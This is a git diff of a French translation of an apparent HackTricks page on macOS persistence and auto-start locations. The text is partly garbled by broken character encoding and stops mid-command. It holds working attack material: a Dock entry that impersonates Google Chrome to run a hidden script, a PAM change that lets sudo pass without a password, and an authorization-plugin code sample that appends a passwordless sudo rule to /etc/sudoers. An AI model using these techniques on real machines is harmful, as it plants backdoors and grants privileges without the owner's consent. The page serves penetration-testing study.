spĂ©cifiquement le script compilĂ© prĂ©cĂ©demment au dossier Bureau. +AprĂšs la compilation du script, configurez les Actions de Dossier en exĂ©cutant le script ci-dessous. Ce script activera les Actions de Dossier globalement et attachera spĂ©cifiquement le script prĂ©cĂ©demment compilĂ© au dossier Bureau. ```javascript // Enabling and attaching Folder Action var se = Application("System Events"); @@ -819,9 +807,9 @@ ExĂ©cutez le script de configuration avec : ```bash osascript -l JavaScript /Users/username/attach.scpt ``` -* Voici la maniĂšre de mettre en Ɠuvre cette persistance via l'interface graphique : +* Voici comment implĂ©menter cette persistance via l'interface graphique : -Voici le script qui sera exĂ©cutĂ© : +Ceci est le script qui sera exĂ©cutĂ© : {% code title="source.js" %} ```applescript @@ -841,26 +829,26 @@ DĂ©placez-le vers : mkdir -p "$HOME/Library/Scripts/Folder Action Scripts" mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts" ``` -Ensuite, ouvrez l'application `Folder Actions Setup`, sĂ©lectionnez le **dossier que vous souhaitez surveiller** et sĂ©lectionnez dans votre cas **`folder.scpt`** (dans mon cas je l'ai appelĂ© output2.scp) : +Ensuite, ouvrez l'application `Folder Actions Setup`, sĂ©lectionnez le **dossier que vous souhaitez surveiller** et sĂ©lectionnez dans votre cas **`folder.scpt`** (dans mon cas, je l'ai appelĂ© output2.scp) :
Maintenant, si vous ouvrez ce dossier avec **Finder**, votre script sera exécuté. -Cette configuration était stockée dans le **plist** situé dans **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** au format base64. +Cette configuration a été stockée dans le **plist** situé dans **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** au format base64. Maintenant, essayons de préparer cette persistance sans accÚs GUI : -1. **Copiez `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** vers `/tmp` pour le sauvegarder : +1. **Copiez `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** dans `/tmp` pour le sauvegarder : * `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` -2. **Supprimez** les Folder Actions que vous venez de définir : +2. **Supprimez** les actions de dossier que vous venez de définir :
Maintenant que nous avons un environnement vide 3. Copiez le fichier de sauvegarde : `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/` -4. Ouvrez l'application Folder Actions Setup pour consommer cette configuration : `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` +4. Ouvrez l'application Folder Actions Setup.app pour consommer cette configuration : `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` {% hint style="danger" %} Et cela n'a pas fonctionnĂ© pour moi, mais ce sont les instructions du rapport :( @@ -870,9 +858,9 @@ Et cela n'a pas fonctionnĂ© pour moi, mais ce sont les instructions du rapport : Rapport : [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/) -* Utile pour contourner le bac Ă  sable : [✅](https://emojipedia.org/check-mark-button) +* Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) * Mais vous devez avoir installĂ© une application malveillante dans le systĂšme -* Contournement de TCC : [🔮](https://emojipedia.org/large-red-circle) +* Contournement TCC : [🔮](https://emojipedia.org/large-red-circle) #### Emplacement @@ -883,7 +871,7 @@ Rapport : [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit Toutes les applications qui apparaissent dans le Dock sont spĂ©cifiĂ©es dans le plist : **`~/Library/Preferences/com.apple.dock.plist`** -Il est possible d'**ajouter une application** simplement avec : +Il est possible d'**ajouter une application** juste avec : {% code overflow="wrap" %} ```bash @@ -895,7 +883,7 @@ killall Dock ``` {% endcode %} -En utilisant un peu d'**ingĂ©nierie sociale**, vous pourriez **vous faire passer par exemple pour Google Chrome** dans le dock et en rĂ©alitĂ© exĂ©cuter votre propre script : +En utilisant un peu de **social engineering**, vous pourriez **imiter par exemple Google Chrome** dans le dock et exĂ©cuter en rĂ©alitĂ© votre propre script : ```bash #!/bin/sh @@ -948,30 +936,30 @@ cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chr defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/tmp/Google Chrome.app_CFURLStringType0' killall Dock ``` -### SĂ©lecteurs de couleurs +### SĂ©lecteurs de Couleur Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/) -* Utile pour contourner le bac Ă  sable : [🟠](https://emojipedia.org/large-orange-circle) +* Utile pour contourner le sandbox : [🟠](https://emojipedia.org/large-orange-circle) * Une action trĂšs spĂ©cifique doit se produire -* Vous vous retrouverez dans un autre bac Ă  sable -* Contournement de TCC : [🔮](https://emojipedia.org/large-red-circle) +* Vous finirez dans un autre sandbox +* Contournement TCC : [🔮](https://emojipedia.org/large-red-circle) #### Emplacement * `/Library/ColorPickers` -* NĂ©cessite des privilĂšges d'administrateur -* DĂ©clencheur : Utilisation du sĂ©lecteur de couleurs +* AccĂšs root requis +* DĂ©clencheur : Utilisez le sĂ©lecteur de couleur * `~/Library/ColorPickers` -* DĂ©clencheur : Utilisation du sĂ©lecteur de couleurs +* DĂ©clencheur : Utilisez le sĂ©lecteur de couleur -#### Description & Exploitation +#### Description & Exploit -**Compilez un bundle de sĂ©lecteur de couleurs** avec votre code (vous pourriez utiliser [**celui-ci par exemple**](https://github.com/viktorstrate/color-picker-plus)) et ajoutez un constructeur (comme dans la [section Économiseur d'Ă©cran](macos-auto-start-locations.md#screen-saver)) puis copiez le bundle dans `~/Library/ColorPickers`. +**Compilez un sĂ©lecteur de couleur** bundle avec votre code (vous pourriez utiliser [**celui-ci par exemple**](https://github.com/viktorstrate/color-picker-plus)) et ajoutez un constructeur (comme dans la [section Économiseur d'Écran](macos-auto-start-locations.md#screen-saver)) et copiez le bundle dans `~/Library/ColorPickers`. -Ensuite, lorsque le sĂ©lecteur de couleurs est dĂ©clenchĂ©, votre code devrait Ă©galement l'ĂȘtre. +Ensuite, lorsque le sĂ©lecteur de couleur est dĂ©clenchĂ©, votre code devrait l'ĂȘtre aussi. -Notez que le binaire chargeant votre bibliothĂšque a un **bac Ă  sable trĂšs restrictif** : `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` +Notez que le binaire chargeant votre bibliothĂšque a un **sandbox trĂšs restrictif** : `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` {% code overflow="wrap" %} ```bash @@ -984,13 +972,13 @@ Notez que le binaire chargeant votre bibliothĂšque a un **bac Ă  sable trĂšs res ``` {% endcode %} -### Extensions de synchronisation Finder +### Plugins de synchronisation Finder -**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0026/](https://theevilbit.github.io/beyond/beyond\_0026/)\ -**Writeup**: [https://objective-see.org/blog/blog\_0x11.html](https://objective-see.org/blog/blog\_0x11.html) +**Écriture** : [https://theevilbit.github.io/beyond/beyond\_0026/](https://theevilbit.github.io/beyond/beyond\_0026/)\ +**Écriture** : [https://objective-see.org/blog/blog\_0x11.html](https://objective-see.org/blog/blog\_0x11.html) * Utile pour contourner le bac Ă  sable : **Non, car vous devez exĂ©cuter votre propre application** -* Contournement de TCC : ??? +* Contournement TCC : ??? #### Emplacement @@ -998,9 +986,9 @@ Notez que le binaire chargeant votre bibliothĂšque a un **bac Ă  sable trĂšs res #### Description & Exploit -Un exemple d'application avec une extension Finder Sync [**peut ĂȘtre trouvĂ© ici**](https://github.com/D00MFist/InSync). +Un exemple d'application avec une extension de synchronisation Finder [**peut ĂȘtre trouvĂ© ici**](https://github.com/D00MFist/InSync). -Les applications peuvent avoir des `Extensions de synchronisation Finder`. Cette extension ira Ă  l'intĂ©rieur d'une application qui sera exĂ©cutĂ©e. De plus, pour que l'extension puisse exĂ©cuter son code, elle **doit ĂȘtre signĂ©e** avec un certificat de dĂ©veloppeur Apple valide, elle doit ĂȘtre **sous bac Ă  sable** (bien que des exceptions assouplies puissent ĂȘtre ajoutĂ©es) et elle doit ĂȘtre enregistrĂ©e avec quelque chose comme : +Les applications peuvent avoir des `Extensions de synchronisation Finder`. Cette extension sera intĂ©grĂ©e Ă  une application qui sera exĂ©cutĂ©e. De plus, pour que l'extension puisse exĂ©cuter son code, elle **doit ĂȘtre signĂ©e** avec un certificat de dĂ©veloppeur Apple valide, elle doit ĂȘtre **sandboxĂ©e** (bien que des exceptions assouplies puissent ĂȘtre ajoutĂ©es) et elle doit ĂȘtre enregistrĂ©e avec quelque chose comme : ```bash pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex pluginkit -e use -i com.example.InSync.InSync @@ -1010,17 +998,17 @@ pluginkit -e use -i com.example.InSync.InSync Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b) -* Utile pour contourner le bac Ă  sable : [🟠](https://emojipedia.org/large-orange-circle) -* Mais vous finirez dans un bac Ă  sable d'application commun -* Contournement de TCC : [🔮](https://emojipedia.org/large-red-circle) +* Utile pour contourner le sandbox : [🟠](https://emojipedia.org/large-orange-circle) +* Mais vous finirez dans un sandbox d'application commun +* Contournement TCC : [🔮](https://emojipedia.org/large-red-circle) #### Emplacement * `/System/Library/Screen Savers` -* NĂ©cessite les droits d'administrateur +* Root requis * **DĂ©clencheur** : SĂ©lectionnez l'Ă©conomiseur d'Ă©cran * `/Library/Screen Savers` -* NĂ©cessite les droits d'administrateur +* Root requis * **DĂ©clencheur** : SĂ©lectionnez l'Ă©conomiseur d'Ă©cran * `~/Library/Screen Savers` * **DĂ©clencheur** : SĂ©lectionnez l'Ă©conomiseur d'Ă©cran @@ -1029,9 +1017,9 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p #### Description & Exploit -CrĂ©ez un nouveau projet dans Xcode et sĂ©lectionnez le modĂšle pour gĂ©nĂ©rer un nouveau **Ă©conomiseur d'Ă©cran**. Ensuite, ajoutez-y votre code, par exemple le code suivant pour gĂ©nĂ©rer des journaux. +CrĂ©ez un nouveau projet dans Xcode et sĂ©lectionnez le modĂšle pour gĂ©nĂ©rer un nouvel **Économiseur d'Ă©cran**. Ensuite, ajoutez votre code, par exemple le code suivant pour gĂ©nĂ©rer des logs. -**Compilez** et copiez le paquet `.saver` dans **`~/Library/Screen Savers`**. Ensuite, ouvrez l'interface graphique de l'Ă©conomiseur d'Ă©cran et si vous cliquez simplement dessus, cela devrait gĂ©nĂ©rer beaucoup de journaux : +**Construisez**-le, et copiez le bundle `.saver` dans **`~/Library/Screen Savers`**. Ensuite, ouvrez l'interface graphique de l'Ă©conomiseur d'Ă©cran et si vous cliquez simplement dessus, cela devrait gĂ©nĂ©rer beaucoup de logs : {% code overflow="wrap" %} ```bash @@ -1045,10 +1033,10 @@ Timestamp (process)[PID] {% endcode %} {% hint style="danger" %} -Notez que parce que Ă  l'intĂ©rieur des autorisations du binaire qui charge ce code (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) vous pouvez trouver **`com.apple.security.app-sandbox`** vous serez **Ă  l'intĂ©rieur du bac Ă  sable d'application commun**. +Notez qu'en raison de la prĂ©sence de **`com.apple.security.app-sandbox`** dans les droits du binaire qui charge ce code (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`), vous serez **Ă  l'intĂ©rieur du bac Ă  sable d'application commun**. {% endhint %} -Code du protecteur d'Ă©cran : +Saver code: ```objectivec // // ScreenSaverExampleView.m @@ -1118,35 +1106,35 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/) -* Utile pour contourner le bac Ă  sable: [🟠](https://emojipedia.org/large-orange-circle) -* Mais vous finirez dans un bac Ă  sable d'application -* Contournement de TCC: [🔮](https://emojipedia.org/large-red-circle) -* Le bac Ă  sable semble trĂšs limitĂ© +* Utile pour contourner le sandbox : [🟠](https://emojipedia.org/large-orange-circle) +* Mais vous finirez dans un sandbox d'application +* Contournement TCC : [🔮](https://emojipedia.org/large-red-circle) +* Le sandbox semble trĂšs limitĂ© #### Emplacement * `~/Library/Spotlight/` -* **DĂ©clencheur**: Un nouveau fichier avec une extension gĂ©rĂ©e par le plugin Spotlight est crĂ©Ă©. +* **DĂ©clencheur** : Un nouveau fichier avec une extension gĂ©rĂ©e par le plugin spotlight est crĂ©Ă©. * `/Library/Spotlight/` -* **DĂ©clencheur**: Un nouveau fichier avec une extension gĂ©rĂ©e par le plugin Spotlight est crĂ©Ă©. -* NĂ©cessite les droits d'administrateur +* **DĂ©clencheur** : Un nouveau fichier avec une extension gĂ©rĂ©e par le plugin spotlight est crĂ©Ă©. +* Root requis * `/System/Library/Spotlight/` -* **DĂ©clencheur**: Un nouveau fichier avec une extension gĂ©rĂ©e par le plugin Spotlight est crĂ©Ă©. -* NĂ©cessite les droits d'administrateur +* **DĂ©clencheur** : Un nouveau fichier avec une extension gĂ©rĂ©e par le plugin spotlight est crĂ©Ă©. +* Root requis * `Some.app/Contents/Library/Spotlight/` -* **DĂ©clencheur**: Un nouveau fichier avec une extension gĂ©rĂ©e par le plugin Spotlight est crĂ©Ă©. +* **DĂ©clencheur** : Un nouveau fichier avec une extension gĂ©rĂ©e par le plugin spotlight est crĂ©Ă©. * Nouvelle application requise #### Description & Exploitation -Spotlight est la fonction de recherche intĂ©grĂ©e de macOS, conçue pour offrir aux utilisateurs un **accĂšs rapide et complet aux donnĂ©es de leurs ordinateurs**.\ -Pour faciliter cette capacitĂ© de recherche rapide, Spotlight maintient une **base de donnĂ©es propriĂ©taire** et crĂ©e un index en **analysant la plupart des fichiers**, permettant des recherches rapides Ă  la fois dans les noms de fichiers et leur contenu. +Spotlight est la fonctionnalitĂ© de recherche intĂ©grĂ©e de macOS, conçue pour fournir aux utilisateurs un **accĂšs rapide et complet aux donnĂ©es sur leurs ordinateurs**.\ +Pour faciliter cette capacitĂ© de recherche rapide, Spotlight maintient une **base de donnĂ©es propriĂ©taire** et crĂ©e un index en **analysant la plupart des fichiers**, permettant des recherches rapides Ă  travers les noms de fichiers et leur contenu. -Le mĂ©canisme sous-jacent de Spotlight implique un processus central nommĂ© 'mds', qui signifie **'serveur de mĂ©tadonnĂ©es'**. Ce processus orchestre l'ensemble du service Spotlight. En complĂ©ment, il existe plusieurs dĂ©mons 'mdworker' qui effectuent diverses tĂąches de maintenance, telles que l'indexation de diffĂ©rents types de fichiers (`ps -ef | grep mdworker`). Ces tĂąches sont rendues possibles grĂące aux plugins importateurs Spotlight, ou **bundles ".mdimporter"**, qui permettent Ă  Spotlight de comprendre et d'indexer le contenu de divers formats de fichiers. +Le mĂ©canisme sous-jacent de Spotlight implique un processus central nommĂ© 'mds', qui signifie **'serveur de mĂ©tadonnĂ©es'.** Ce processus orchestre l'ensemble du service Spotlight. ComplĂ©tant cela, il existe plusieurs dĂ©mons 'mdworker' qui effectuent une variĂ©tĂ© de tĂąches de maintenance, telles que l'indexation de diffĂ©rents types de fichiers (`ps -ef | grep mdworker`). Ces tĂąches sont rendues possibles grĂące aux plugins d'importation Spotlight, ou **".mdimporter bundles"**, qui permettent Ă  Spotlight de comprendre et d'indexer le contenu Ă  travers une gamme diversifiĂ©e de formats de fichiers. -Les plugins ou **bundles `.mdimporter`** sont situĂ©s aux endroits mentionnĂ©s prĂ©cĂ©demment et si un nouveau bundle apparaĂźt, il est chargĂ© en quelques minutes (pas besoin de redĂ©marrer un service). Ces bundles doivent indiquer quels **types de fichiers et extensions ils peuvent gĂ©rer**, de cette maniĂšre, Spotlight les utilisera lorsqu'un nouveau fichier avec l'extension indiquĂ©e est crĂ©Ă©. +Les plugins ou **`.mdimporter`** bundles sont situĂ©s dans les endroits mentionnĂ©s prĂ©cĂ©demment et si un nouveau bundle apparaĂźt, il est chargĂ© en une minute (pas besoin de redĂ©marrer de service). Ces bundles doivent indiquer quel **type de fichier et quelles extensions ils peuvent gĂ©rer**, de cette façon, Spotlight les utilisera lorsqu'un nouveau fichier avec l'extension indiquĂ©e est crĂ©Ă©. -Il est possible de **trouver tous les `mdimporters`** chargĂ©s en exĂ©cutant: +Il est possible de **trouver tous les `mdimporters`** chargĂ©s en cours d'exĂ©cution : ```bash mdimport -L Paths: id(501) ( @@ -1155,7 +1143,7 @@ Paths: id(501) ( "/System/Library/Spotlight/PDF.mdimporter", [...] ``` -Et par exemple **/Library/Spotlight/iBooksAuthor.mdimporter** est utilisĂ© pour analyser ce type de fichiers (extensions `.iba` et `.book` entre autres) : +Et par exemple **/Library/Spotlight/iBooksAuthor.mdimporter** est utilisĂ© pour analyser ces types de fichiers (extensions `.iba` et `.book` parmi d'autres) : ```json plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist @@ -1192,26 +1180,27 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist [...] ``` {% hint style="danger" %} -Si vous vĂ©rifiez le Plist d'autres `mdimporter`, vous pourriez ne pas trouver l'entrĂ©e **`UTTypeConformsTo`**. C'est parce que c'est un _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) intĂ©grĂ© et il n'a pas besoin de spĂ©cifier les extensions. +Si vous vĂ©rifiez le Plist d'autres `mdimporter`, vous ne trouverez peut-ĂȘtre pas l'entrĂ©e **`UTTypeConformsTo`**. C'est parce que c'est un _Identificateur de Type Uniforme_ intĂ©grĂ© ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) et il n'est pas nĂ©cessaire de spĂ©cifier des extensions. -De plus, les plugins par dĂ©faut du systĂšme ont toujours la prioritĂ©, donc un attaquant ne peut accĂ©der qu'aux fichiers qui ne sont pas indexĂ©s par les propres `mdimporters` d'Apple. +De plus, les plugins par dĂ©faut du systĂšme ont toujours la prioritĂ©, donc un attaquant ne peut accĂ©der qu'aux fichiers qui ne sont pas autrement indexĂ©s par les propres `mdimporters` d'Apple. {% endhint %} -Pour crĂ©er votre propre importateur, vous pourriez commencer avec ce projet : [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) puis changer le nom, les **`CFBundleDocumentTypes`** et ajouter **`UTImportedTypeDeclarations`** pour qu'il prenne en charge l'extension que vous souhaitez supporter et les reflĂ©ter dans **`schema.xml`**. Ensuite, **modifiez** le code de la fonction **`GetMetadataForFile`** pour exĂ©cuter votre charge utile lorsqu'un fichier avec l'extension traitĂ©e est crĂ©Ă©. +Pour crĂ©er votre propre importateur, vous pourriez commencer par ce projet : [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) et ensuite changer le nom, le **`CFBundleDocumentTypes`** et ajouter **`UTImportedTypeDeclarations`** afin qu'il prenne en charge l'extension que vous souhaitez prendre en charge et les reflĂ©ter dans **`schema.xml`**.\ +Ensuite, **changez** le code de la fonction **`GetMetadataForFile`** pour exĂ©cuter votre payload lorsqu'un fichier avec l'extension traitĂ©e est crĂ©Ă©. -Enfin, **construisez et copiez votre nouveau `.mdimporter`** dans l'un des emplacements prĂ©cĂ©dents et vous pouvez vĂ©rifier s'il est chargĂ© en **surveillant les journaux** ou en vĂ©rifiant **`mdimport -L.`** +Enfin, **construisez et copiez votre nouveau `.mdimporter`** dans l'un des emplacements prĂ©cĂ©dents et vous pouvez vĂ©rifier s'il est chargĂ© **en surveillant les journaux** ou en vĂ©rifiant **`mdimport -L.`** -### ~~Panneau de prĂ©fĂ©rences~~ +### ~~Panneau de PrĂ©fĂ©rences~~ {% hint style="danger" %} -Il semble que cela ne fonctionne plus. +Il ne semble pas que cela fonctionne encore. {% endhint %} -Writeup : [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.github.io/beyond/beyond\_0009/) +Écriture : [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.github.io/beyond/beyond\_0009/) -* Utile pour contourner le bac Ă  sable : [🟠](https://emojipedia.org/large-orange-circle) -* NĂ©cessite une action utilisateur spĂ©cifique -* Contournement de TCC : [🔮](https://emojipedia.org/large-red-circle) +* Utile pour contourner le sandbox : [🟠](https://emojipedia.org/large-orange-circle) +* Cela nĂ©cessite une action utilisateur spĂ©cifique +* Contournement TCC : [🔮](https://emojipedia.org/large-red-circle) #### Emplacement @@ -1221,34 +1210,34 @@ Writeup : [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit #### Description -Il semble que cela ne fonctionne plus. +Il ne semble pas que cela fonctionne encore. -## Contournement du bac Ă  sable root +## Contournement du Sandbox Root {% hint style="success" %} -Ici, vous pouvez trouver des emplacements de dĂ©marrage utiles pour le **contournement du bac Ă  sable** qui vous permettent simplement d'exĂ©cuter quelque chose en **l'Ă©crivant dans un fichier** en Ă©tant **root** et/ou en nĂ©cessitant d'autres **conditions Ă©tranges.** +Ici, vous pouvez trouver des emplacements de dĂ©marrage utiles pour le **contournement du sandbox** qui vous permet d'exĂ©cuter simplement quelque chose en **l'Ă©crivant dans un fichier** en Ă©tant **root** et/ou nĂ©cessitant d'autres **conditions Ă©tranges.** {% endhint %} ### PĂ©riodique -Writeup : [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.github.io/beyond/beyond\_0019/) +Écriture : [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.github.io/beyond/beyond\_0019/) -* Utile pour contourner le bac Ă  sable : [🟠](https://emojipedia.org/large-orange-circle) +* Utile pour contourner le sandbox : [🟠](https://emojipedia.org/large-orange-circle) * Mais vous devez ĂȘtre root -* Contournement de TCC : [🔮](https://emojipedia.org/large-red-circle) +* Contournement TCC : [🔮](https://emojipedia.org/large-red-circle) #### Emplacement * `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic` -* NĂ©cessite d'ĂȘtre root -* **DĂ©clencheur** : Quand le moment arrive +* Root requis +* **DĂ©clencheur** : Quand le moment est venu * `/etc/daily.local`, `/etc/weekly.local` ou `/etc/monthly.local` -* NĂ©cessite d'ĂȘtre root -* **DĂ©clencheur** : Quand le moment arrive +* Root requis +* **DĂ©clencheur** : Quand le moment est venu #### Description & Exploitation -Les scripts pĂ©riodiques (**`/etc/periodic`**) sont exĂ©cutĂ©s en raison des **daemons de lancement** configurĂ©s dans `/System/Library/LaunchDaemons/com.apple.periodic*`. Notez que les scripts stockĂ©s dans `/etc/periodic/` sont **exĂ©cutĂ©s** en tant que **propriĂ©taire du fichier**, donc cela ne fonctionnera pas pour une Ă©ventuelle Ă©lĂ©vation de privilĂšges. +Les scripts pĂ©riodiques (**`/etc/periodic`**) sont exĂ©cutĂ©s en raison des **lanceurs de dĂ©mons** configurĂ©s dans `/System/Library/LaunchDaemons/com.apple.periodic*`. Notez que les scripts stockĂ©s dans `/etc/periodic/` sont **exĂ©cutĂ©s** en tant que **propriĂ©taire du fichier**, donc cela ne fonctionnera pas pour une Ă©ventuelle Ă©lĂ©vation de privilĂšges. {% code overflow="wrap" %} ```bash @@ -1283,7 +1272,7 @@ total 8 ``` {% endcode %} -Il existe d'autres scripts pĂ©riodiques qui seront exĂ©cutĂ©s indiquĂ©s dans **`/etc/defaults/periodic.conf`**: +Il existe d'autres scripts pĂ©riodiques qui seront exĂ©cutĂ©s indiquĂ©s dans **`/etc/defaults/periodic.conf`** : ```bash grep "Local scripts" /etc/defaults/periodic.conf daily_local="/etc/daily.local" # Local scripts @@ -1293,35 +1282,35 @@ monthly_local="/etc/monthly.local" # Local scripts Si vous parvenez Ă  Ă©crire l'un des fichiers `/etc/daily.local`, `/etc/weekly.local` ou `/etc/monthly.local`, il sera **exĂ©cutĂ© tĂŽt ou tard**. {% hint style="warning" %} -Notez que le script pĂ©riodique sera **exĂ©cutĂ© en tant que propriĂ©taire du script**. Ainsi, si un utilisateur rĂ©gulier est propriĂ©taire du script, il sera exĂ©cutĂ© en tant qu'utilisateur (ceci pourrait empĂȘcher les attaques d'escalade de privilĂšges). +Notez que le script pĂ©riodique sera **exĂ©cutĂ© en tant que propriĂ©taire du script**. Donc, si un utilisateur rĂ©gulier possĂšde le script, il sera exĂ©cutĂ© en tant que cet utilisateur (cela pourrait empĂȘcher les attaques d'escalade de privilĂšges). {% endhint %} ### PAM -Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\ -Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/) +Écriture : [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\ +Écriture : [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/) * Utile pour contourner le bac Ă  sable : [🟠](https://emojipedia.org/large-orange-circle) * Mais vous devez ĂȘtre root -* Contournement de TCC : [🔮](https://emojipedia.org/large-red-circle) +* Contournement TCC : [🔮](https://emojipedia.org/large-red-circle) #### Emplacement -* Toujours nĂ©cessite des privilĂšges root +* Root toujours requis #### Description & Exploitation -Comme PAM est plus axĂ© sur la **persistance** et les logiciels malveillants que sur l'exĂ©cution facile Ă  l'intĂ©rieur de macOS, ce blog ne donnera pas d'explication dĂ©taillĂ©e, **lisez les writeups pour mieux comprendre cette technique**. +Comme PAM est plus axĂ© sur la **persistance** et les logiciels malveillants que sur une exĂ©cution facile dans macOS, ce blog ne donnera pas d'explication dĂ©taillĂ©e, **lisez les Ă©crits pour mieux comprendre cette technique**. VĂ©rifiez les modules PAM avec : ```bash ls -l /etc/pam.d ``` -Une technique de persistance/escalade de privilĂšges abusant de PAM est aussi simple que de modifier le module /etc/pam.d/sudo en ajoutant au dĂ©but la ligne : +Une technique de persistance/Ă©lĂ©vation de privilĂšges abusant de PAM est aussi simple que de modifier le module /etc/pam.d/sudo en ajoutant au dĂ©but la ligne : ```bash auth sufficient pam_permit.so ``` -Donc cela ressemblera Ă  quelque chose comme ceci : +Alors cela **ressemblera** Ă  quelque chose comme ceci : ```bash # sudo: auth account password session auth sufficient pam_permit.so @@ -1332,30 +1321,41 @@ account required pam_permit.so password required pam_deny.so session required pam_permit.so ``` -Et donc toute tentative d'utiliser **`sudo` fonctionnera**. +Et donc, toute tentative d'utiliser **`sudo` fonctionnera**. {% hint style="danger" %} Notez que ce rĂ©pertoire est protĂ©gĂ© par TCC, il est donc trĂšs probable que l'utilisateur reçoive une invite demandant l'accĂšs. {% endhint %} +Un autre bel exemple est su, oĂč vous pouvez voir qu'il est Ă©galement possible de donner des paramĂštres aux modules PAM (et vous pourriez Ă©galement introduire une porte dĂ©robĂ©e dans ce fichier) : +```bash +cat /etc/pam.d/su +# su: auth account session +auth sufficient pam_rootok.so +auth required pam_opendirectory.so +account required pam_group.so no_warn group=admin,wheel ruser root_only fail_safe +account required pam_opendirectory.so no_check_shell +password required pam_opendirectory.so +session required pam_launchd.so +``` ### Plugins d'autorisation -Writeup : [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\ -Writeup : [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65) +Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\ +Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65) -* Utile pour contourner le bac Ă  sable : [🟠](https://emojipedia.org/large-orange-circle) -* Mais vous devez ĂȘtre root et effectuer des configurations supplĂ©mentaires +* Utile pour contourner le sandbox : [🟠](https://emojipedia.org/large-orange-circle) +* Mais vous devez ĂȘtre root et faire des configurations supplĂ©mentaires * Contournement de TCC : ??? #### Emplacement * `/Library/Security/SecurityAgentPlugins/` -* NĂ©cessite des privilĂšges root +* Root requis * Il est Ă©galement nĂ©cessaire de configurer la base de donnĂ©es d'autorisation pour utiliser le plugin #### Description & Exploitation -Vous pouvez crĂ©er un plugin d'autorisation qui sera exĂ©cutĂ© lorsque qu'un utilisateur se connecte pour maintenir la persistance. Pour plus d'informations sur la crĂ©ation de ces plugins, consultez les writeups prĂ©cĂ©dents (et soyez prudent, un plugin mal Ă©crit peut vous bloquer et vous devrez nettoyer votre Mac en mode de rĂ©cupĂ©ration). +Vous pouvez crĂ©er un plugin d'autorisation qui sera exĂ©cutĂ© lorsqu'un utilisateur se connecte pour maintenir la persistance. Pour plus d'informations sur la façon de crĂ©er l'un de ces plugins, consultez les writeups prĂ©cĂ©dents (et faites attention, un mal Ă©crit peut vous verrouiller et vous devrez nettoyer votre mac depuis le mode de rĂ©cupĂ©ration). ```objectivec // Compile the code and create a real bundle // gcc -bundle -framework Foundation main.m -o CustomAuth @@ -1370,11 +1370,11 @@ NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded"); system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); } ``` -**DĂ©placez** le bundle Ă  l'emplacement Ă  charger : +**DĂ©placez** le bundle vers l'emplacement Ă  charger : ```bash cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/ ``` -Enfin, ajoutez la **rĂšgle** pour charger ce plugin : +Enfin, ajoutez la **rĂšgle** pour charger ce Plugin : ```bash cat > 